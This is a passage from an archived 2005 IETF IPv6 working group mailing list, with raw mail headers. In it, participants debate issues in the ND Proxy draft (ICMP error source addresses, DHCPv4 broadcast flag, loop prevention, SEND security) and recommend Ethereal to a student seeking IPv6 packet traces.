ipv6@megatron.ietf.org; Wed, 16 Feb 2005 13:20:17 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA13660 for ; Wed, 16 Feb 2005 13:20:12 -0500 (EST) Received: from mail2.microsoft.com ([131.107.3.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1U7r-00074k-Sn for ipv6@ietf.org; Wed, 16 Feb 2005 13:42:17 -0500 Received: from mailout2.microsoft.com ([157.54.1.120]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 16 Feb 2005 10:19:43 -0800 Received: from red-hub-03.redmond.corp.microsoft.com ([157.54.2.25]) by mailout2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 16 Feb 2005 10:19:42 -0800 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-hub-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Wed, 16 Feb 2005 10:19:42 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.1289); Wed, 16 Feb 2005 10:19:41 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 16 Feb 2005 10:18:49 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC1102A6B8F@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#22] Unclear text about ICMP errors thread-index: AcUT6t//Ei9wEfP3SjGN8w+YVwsERwAZ3QGg From: "Dave Thaler" To: "Erik Nordmark" X-OriginalArrivalTime: 16 Feb 2005 18:19:41.0868 (UTC) FILETIME=[15650EC0:01C51454] X-Spam-Score: 0.0 (/) X-Scan-Signature: e1e48a527f609d1be2bc8d8a70eb76cb Content-Transfer-Encoding: quoted-printable Cc: ipv6@ietf.org Subject: RE: [NDProxy#22] Unclear text about ICMP errors X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: c1c65599517f9ac32519d043c37c5336 Content-Transfer-Encoding: quoted-printable Erik Nordmark writes: > > Whenever any IPv4 packet is to be forwarded out an interface > > whose MTU is smaller than the size of the packet, and the Dont > > Fragment bit is set, the ARP proxy drops the packet and sends > > a Fragmentation Needed message back to the source. > > > > Similarly, whenever any IPv6 packet is to be forwarded out an > > Interface whose MTU is smaller than the size of the packet, > > the ND proxy drops the packet and sends a Packet Too Big message > > back to the source, as described in [ICMPv6]. >=20 > Given that the proxy is invisible at L3, I think it would make sense to > add explicit statements about any constraints on the IP source address > to use when the proxy generates ICMP errors. >=20 > I believe the ICMPv* specifications say to use an IP address assigned to > either the interface where the packet in error arrived, or assigned to > the interface on which the error is sent, but in the case of a proxy > there might be a single IP address assigned to all the proxy interfaces > for all I know. RFC 792 doesn't say how to select the source address, but RFC 2463 does. >From section 2.2 (a-c only apply to responses, not PacketTooBig errors): (d) Otherwise, the node's routing table must be examined to determine which interface will be used to transmit the message to its destination, and a unicast address belonging to that interface must be used as the Source Address of the message. Beyond the rule above, RFC3484 (address selection) would apply when choosing from among addresses on the same interface. However, none of this is specific to ICMP error generation, it's the same as for locally originated packets (section 4.2). Hence, I'm not convinced that the rules need to be repeated here. If you still disagree, please suggest text :) -Dave -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 16 15:20:04 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA17109 for ; Wed, 16 Feb 2005 15:20:04 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Vzq-0000Cb-TL for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 15:42:08 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1VHt-00009Z-UZ; Wed, 16 Feb 2005 14:56:41 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1U2o-0005A1-Ir for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 13:37:02 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18125 for ; Wed, 16 Feb 2005 13:36:58 -0500 (EST) Received: from mail1.microsoft.com ([131.107.3.125]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1UO5-000066-Vy for ipv6@ietf.org; Wed, 16 Feb 2005 13:59:03 -0500 Received: from mailout2.microsoft.com ([157.54.1.120]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Wed, 16 Feb 2005 10:36:29 -0800 Received: from red-hub-01.redmond.corp.microsoft.com ([157.54.7.71]) by mailout2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 16 Feb 2005 10:36:22 -0800 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-hub-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Wed, 16 Feb 2005 10:36:23 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.1289); Wed, 16 Feb 2005 10:36:22 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 16 Feb 2005 10:35:21 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC1102A6BD7@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#20] DHCPv4 thread-index: AcUUVkVvRkdeUcqySXCJZTxQHCMaPg== From: "Dave Thaler" To: X-OriginalArrivalTime: 16 Feb 2005 18:36:22.0312 (UTC) FILETIME=[69B4B280:01C51456] X-Spam-Score: 0.0 (/) X-Scan-Signature: cab78e1e39c4b328567edb48482b6a69 Content-Transfer-Encoding: quoted-printable Subject: [NDProxy#20] DHCPv4 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 8b431ad66d60be2d47c7bfeb879db82c Content-Transfer-Encoding: quoted-printable Summary (from Ralph Droms): > There are two small issues with the mechanism for accommodating DHCPv4. > First, the mechanism is incompatible with the authentication protocol=20 > for DHCPv4 described in RFC 3118. In fact, the mechanism will be=20 > incompatible with any authentication that verifies the integrity of the > data in the DHCPv4 message header, as changing the broadcast bit from 0 > to 1 should be detected as a change in the contents of the message. > Second, there should be a warning that a DHCPv4 client might detect,=20 > with subsequently undefined behavior, that the broadcast bit has been > changed from the setting in the message originally set by the client. Issue page (no further discussion so far): http://www.icir.org/dthaler/NDProxyIssues.htm#Issue%2020 The text Ralph refers to is section 4.1.3.3: > If the received packet is a DHCPv4 DISCOVER or REQUEST message, > then instead of changing the client's hardware address in the > payload, the BROADCAST (B) flag is set in the proxied packet. > This ensures that the proxy will be able to receive and proxy the > response since the response will be broadcast rather than unicast > to that hardware address. The hardware address is thus used only > as a unique identifier and hence need not be a link-layer address > on the same segment. Is there a better behavior for DHCPv4 that should be recommended? The current rule just documents existing practice in (at least some) ARP proxies. Assuming documenting existing practice for information is okay, here's proposed text to be added after the paragraph quoted above: > One limitation of this rule is that if the authentication protocol > for DHCPv4 described in [DHCPAUTH] is used, only clients that set > the BROADCAST flag themselves will be able to use DHCPv4 through > the proxy. If [DHCPAUTH] is not used, a DHCPv4 client might still > detect, with previously undefined behavior, that the broadcast bit > has been changed from the setting in the message originally set by > the client. However, the point of this rule is not to solve this > problem, but rather to document existing practice. -Dave -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 16 15:37:32 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA20558 for ; Wed, 16 Feb 2005 15:37:32 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1WGl-0001AY-DZ for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 15:59:36 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Vfv-0007wn-Ij; Wed, 16 Feb 2005 15:21:31 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1VJ8-0003RW-DO for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 14:57:58 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA12201 for ; Wed, 16 Feb 2005 14:57:56 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1VeQ-0007SO-H8 for ipv6@ietf.org; Wed, 16 Feb 2005 15:20:00 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1GJvKa01014; Wed, 16 Feb 2005 21:57:21 +0200 Date: Wed, 16 Feb 2005 21:57:20 +0200 (EET) From: Pekka Savola To: Dave Thaler In-Reply-To: <2E33960095B58E40A4D3345AB9F65EC1102A6B42@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Message-ID: References: <2E33960095B58E40A4D3345AB9F65EC1102A6B42@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Cc: ipv6@ietf.org Subject: RE: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 On Wed, 16 Feb 2005, Dave Thaler wrote: > Point taken. How about: > A proxy MUST ensure that loops are prevented, either by running > the Spanning Tree Algorithm and Protocol defined in [BRIDGE] on all > proxy interfaces as described below, or by being deployable only in > an environment where physical loops cannot occur. For example, in a > cell phone which proxies between a PPP dialup link and a local Ethernet > interface, it is typically safe to assume that physical loops are not > possible and hence there is no need to support the Spanning Tree > Protocol (STP). This text looks fine by me. Thanks! -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 16 15:47:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22333 for ; Wed, 16 Feb 2005 15:47:13 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1WQA-0001oo-60 for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 16:09:18 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1VtX-0000Bg-Ag; Wed, 16 Feb 2005 15:35:35 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Vds-0006CZ-L7 for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 15:19:24 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA16949 for ; Wed, 16 Feb 2005 15:19:22 -0500 (EST) Received: from mout.perfora.net ([217.160.230.40]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1VzA-0000Av-NY for ipv6@ietf.org; Wed, 16 Feb 2005 15:41:26 -0500 Received: from 63-224-57-51.tukw.qwest.net[63.224.57.51] (helo=dochome) by mrelay.perfora.net with ESMTP (Nemesis), id 0MKyxe-1D1Vde2VQO-0003VD; Wed, 16 Feb 2005 15:19:10 -0500 From: "Brian McGehee" To: "'Nuno Garcia'" , "'IPv6 WG'" Date: Wed, 16 Feb 2005 12:19:09 -0800 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 In-Reply-To: <852246F66844CC41A5FE1EF659F98F900244BE67@lisi053a.siemens.pt> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 Thread-Index: AcUUTi08NZ8FzXLOQNK4zmdynMrJnwAFk7aQ Message-ID: <0MKyxe-1D1Vde2VQO-0003VD@mrelay.perfora.net> X-Provags-ID: perfora.net abuse@perfora.net login:e889f076272915782d1e6806691de79b X-Spam-Score: 0.3 (/) X-Scan-Signature: 025f8c5000216988bfe31585db759250 Subject: RE: IPv6 Traces X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0674562839==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: e16ce0269ccb2f59707d16700199d13b This is a multi-part message in MIME format. --===============0674562839== Content-Type: multipart/alternative; boundary="----=_NextPart_000_0082_01C51421.B93DAB70" This is a multi-part message in MIME format. ------=_NextPart_000_0082_01C51421.B93DAB70 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Might I recommend the open source solution ethereal. This can be found = at http://www.ethereal.com/ =20 This does a great job of packet capturing IPv6 and providing in-depth details. I have been using it for years. Good luck =20 =85All my opinions are mine. Brian McGehee http://consult.tavian.com =20 =20 _____ =20 From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On Behalf Of = Nuno Garcia Sent: Wednesday, February 16, 2005 9:37 AM To: IPv6 WG Subject: IPv6 Traces =20 Hello All:=20 Does anyone knows where I can find IPV6 traffic traces? (if there is = such thing)=20 My goal is to study the headers of real IPv6 packets.=20 Thanks,=20 Nuno Garcia PhD Student=20 COM RD1 RSC SIEMENS S.A. Rua Irm=E3os Siemens, 1 Ed. 1, Piso 0 Alfragide 2720-093 Amadora Portugal Phone: +351-21 416 7159 Fax: +351-21 424 2082 e-mail: Nuno.MGarcia@siemens.com=20 ------=_NextPart_000_0082_01C51421.B93DAB70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable IPv6 Traces

Might I recommend the open source = solution ethereal.=A0 This can be found at

http://www.ethereal.com/=

 

This does a great job of packet = capturing IPv6 and providing in-depth details.=A0 I have been using it for = years.

Good = luck

 

…All my opinions are mine.

Brian = McGehee

http://consult.tavian.com

 

From: = ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On = Behalf Of Nuno Garcia
Sent: Wednesday, February = 16, 2005 9:37 AM
To: IPv6 WG
Subject: IPv6 = Traces

 

Hello All:

Does anyone knows where I can find IPV6 traffic traces? (if there is such = thing)

My goal is to study the headers of real IPv6 packets. =

Thanks,

Nuno Garcia
PhD Student 
COM RD1 RSC

SIEMENS = S.A.
Rua Irm=E3os Siemens, 1
Ed. 1, Piso 0
Alfragide
2720-093 Amadora
Portugal<= /font>

Phone: +351-21 416 7159
Fax: +351-21 424 2082
e-mail: Nuno.MGarcia@siemens.com =

------=_NextPart_000_0082_01C51421.B93DAB70-- --===============0674562839== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============0674562839==-- From ipv6-bounces@ietf.org Wed Feb 16 15:53:34 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA23338 for ; Wed, 16 Feb 2005 15:53:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1WWI-00026B-Fy for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 16:15:38 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1VzD-00041X-PJ; Wed, 16 Feb 2005 15:41:27 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Vmg-0003iN-7G for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 15:28:30 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18849 for ; Wed, 16 Feb 2005 15:28:27 -0500 (EST) Received: from mail2.microsoft.com ([131.107.3.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1W7y-0000as-62 for ipv6@ietf.org; Wed, 16 Feb 2005 15:50:32 -0500 Received: from mailout1.microsoft.com ([157.54.1.117]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 16 Feb 2005 12:27:54 -0800 Received: from red-hub-04.redmond.corp.microsoft.com ([157.54.3.6]) by mailout1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Wed, 16 Feb 2005 12:27:54 -0800 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 16 Feb 2005 12:27:53 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.1289); Wed, 16 Feb 2005 12:27:54 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 16 Feb 2005 12:27:33 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC1102A6EDD@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#17] SEND thread-index: AcUUZfIHpDzTOO9lQQuW1fOt8cfUDQ== From: "Dave Thaler" To: X-OriginalArrivalTime: 16 Feb 2005 20:27:54.0291 (UTC) FILETIME=[FE6FA830:01C51465] X-Spam-Score: 0.0 (/) X-Scan-Signature: a8a20a483a84f747e56475e290ee868e Content-Transfer-Encoding: quoted-printable Subject: [NDProxy#17] SEND X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 6d95a152022472c7d6cdf886a0424dc6 Content-Transfer-Encoding: quoted-printable Summary: Document first lists working with SEND as a requirement, and then doesn't meet that requirement. Discussion so far: http://www.icir.org/dthaler/NDProxyIssues.htm#Issue%2017 The text that makes the document inconsistent is, from the Requirements section: > o Support secure IPv6 neighbor discovery. This is discussed in > the Security Considerations section. This was an original goal, which as pointed out was not achieved,=20 but is not really a strict requirement just a goal. For example,=20 IPv4 ARP Proxies are deployed today without meeting this requirement. Hence propose to delete this sentence, and append additional discussion to Security Considerations section as noted at bottom. Regarding Erik's summary of: > Thus any secure solution in this space requires at least one of: > 1. that the host be modified to have a secure relationship with the > proxy > 2. that the proxies do not modify the ND packets > Note that #2 can be done, but it requires that the proxies be able to > receive packets addressed to any MAC address (just like bridges do). I accept this conclusion, and point out that #2 cannot be used in either the 802.11 scenario (since the proxy cannot be promiscuous) or the PPP=20 scenario (since the link-layer address format is different). Hence #1 is all that's left. Here, there's two classes of nodes: the local nodes on the leaf network, and the nodes (including the router) on the external link between the proxy and the router. For local devices on the leaf network needing to verify NA's from external devices, having a secure relationship is not unreasonable, and this was the (admittedly somewhat obscured) intent of the text: > The requirements for securing proxied > messages are similar to those for securing Router Advertisements, > since the receiver must verify that the advertisement came from a > valid router/proxy, rather than from the owner of a specific address. although this requires additional work to specify how to use RA-like auth in NA messages, but I believe that this particular work is not unique to this draft as discussed earlier. It would be part of a new "Proxy SEND" document as James Kempf suggested. For devices on the external link between the proxy and the router needing to verify NA's from internal devices, the constraint of avoiding any incentive to do an IPv6 NAT means it is not reasonable that they have a secure relationship with the proxy (or rather that they have any secure relationship they wouldn't have with any other non-proxy host). However, in the PPP scenario this shouldn't be an issue in practice since the link is point-to-point. For 802.11 networks on the other hand, bridging and SEND do appear to be inherently incompatible in the case where you don't want the router to know that the proxy is a proxy (for fear, real or imagined, of being charged extra). Hence there's a tradeoff between security and "privacy" here, with a sort of middle ground being Christian's "I am behind an proxy, and the proxy address is X:Y:Z". Propose replacing, in the Security Considerations section: > From an IPv6 perspective, RFC 2461 [ND] already defines the > ability to proxy Neighbor Advertisements. The requirements for > securing proxied messages are similar to those for securing Router > Advertisements, since the receiver must verify that the > advertisement came from a valid router/proxy, rather than from the > owner of a specific address. with > From an IPv6 perspective, RFC 2461 [ND] already defines the > ability to proxy Neighbor Advertisements. Since the ND packets must > be modified whenever the link-layer address formats are different (as=20 > with PPP) or promiscuous reception is not possible (as with 802.11), > securing any solution in this space requires that hosts have a secure=20 > relationship with the proxy. >=20 > It is reasonable for nodes on the leaf subnet to have a secure > relationship with the proxy, and accept ND packets from either the owner > of a specific address (normal SEND), or which it can verify are from a > trusted proxy (see below). >=20 > For nodes on the external subnet, there is a tradeoff between security > (where all nodes have a secure relationship with the proxy) and privacy > (where no nodes are aware that the proxy is a proxy). In the case of a=20 > point-to-point external link (Scenario 2) however, SEND may not be a=20 > requirement on that link. > > Verifying that ND packets come from a trusted proxy requires an > extension to the SEND protocol and is left for future work, but is > similar to the problem of securing Router Advertisements which is > supported today. -Dave -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 16 15:54:49 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA23518 for ; Wed, 16 Feb 2005 15:54:49 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1WXU-00028s-T9 for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 16:16:54 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1VzS-00045Z-It; Wed, 16 Feb 2005 15:41:42 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1VnR-00049K-PN for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 15:29:17 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18956 for ; Wed, 16 Feb 2005 15:29:15 -0500 (EST) Received: from smtpproxy2.mitre.org ([192.160.51.65] helo=smtp-bedford-dr.mitre.org) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1W8k-0000eZ-ES for ipv6@ietf.org; Wed, 16 Feb 2005 15:51:19 -0500 Received: from smtp-bedford-dr.mitre.org (localhost.localdomain [127.0.0.1]) by smtp-bedford-dr.mitre.org (8.11.6/8.11.6) with SMTP id j1GKTFM04179 for ; Wed, 16 Feb 2005 15:29:15 -0500 Received: from smtp-bedford-dr.mitre.org (localhost.localdomain [127.0.0.1]) by smtp-bedford-dr.mitre.org (Postfix) with ESMTP id 32CD14F8DB for ; Wed, 16 Feb 2005 15:29:15 -0500 (EST) Received: from MAILHUB2 (mailhub2.mitre.org [129.83.221.18]) by smtp-bedford-dr.mitre.org (8.11.6/8.11.6) with ESMTP id j1GKTEt04125; Wed, 16 Feb 2005 15:29:14 -0500 Message-Id: <200502162029.j1GKTEt04125@smtp-bedford-dr.mitre.org> Received: from mm129345-pc.mitre.org (128.29.21.29) by mailhub2.mitre.org with SMTP id 8519313; Wed, 16 Feb 2005 15:29:10 -0500 From: "Sharif Ghazzawi" To: "'Nuno Garcia'" , "'IPv6 WG'" Date: Wed, 16 Feb 2005 15:29:07 -0500 Organization: The MITRE Corporation MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-reply-to: <852246F66844CC41A5FE1EF659F98F900244BE67@lisi053a.siemens.pt> X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-index: AcUUTi08NZ8FzXLOQNK4zmdynMrJnwAF91tw X-Spam-Score: 1.3 (+) X-Scan-Signature: c83ccb5cc10e751496398f1233ca9c3a Subject: RE: IPv6 Traces X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0891538765==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 1.7 (+) X-Scan-Signature: 6640e3bbe8a4d70c4469bcdcbbf0921d This is a multi-part message in MIME format. --===============0891538765== Content-Type: multipart/alternative; boundary="----=_NextPart_000_006F_01C5143C.4192F330" This is a multi-part message in MIME format. ------=_NextPart_000_006F_01C5143C.4192F330 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Would ethereal work for what you're doing? It has a very nice graphical front end for displaying the packet headers and information and it does support IPv6. _____ =20 From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On Behalf Of = Nuno Garcia Sent: Wednesday, February 16, 2005 12:37 PM To: IPv6 WG Subject: IPv6 Traces Hello All:=20 Does anyone knows where I can find IPV6 traffic traces? (if there is = such thing)=20 My goal is to study the headers of real IPv6 packets.=20 Thanks,=20 Nuno Garcia PhD Student=20 COM RD1 RSC SIEMENS S.A. Rua Irm=E3os Siemens, 1 Ed. 1, Piso 0 Alfragide 2720-093 Amadora Portugal Phone: +351-21 416 7159 Fax: +351-21 424 2082 e-mail: Nuno.MGarcia@siemens.com=20 ------=_NextPart_000_006F_01C5143C.4192F330 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable IPv6 Traces
Would ethereal work for what you're = doing?  It has a=20 very nice graphical front end for displaying the packet headers and = information=20 and it does support IPv6.

From: ipv6-bounces@ietf.org=20 [mailto:ipv6-bounces@ietf.org] On Behalf Of Nuno = Garcia
Sent:=20 Wednesday, February 16, 2005 12:37 PM
To: IPv6 = WG
Subject:=20 IPv6 Traces

Hello All:

Does anyone knows where I can find IPV6 = traffic=20 traces? (if there is such thing)

My goal is to study the headers of real = IPv6=20 packets.

Thanks,

Nuno = Garcia
PhD Student 
COM = RD1 RSC

SIEMENS S.A.
Rua Irm=E3os Siemens, 1
Ed. 1, Piso=20 0
Alfragide
2720-093 Amadora
Portugal

Phone: +351-21 416 7159
Fax: +351-21 424=20 2082
e-mail: = Nuno.MGarcia@siemens.com

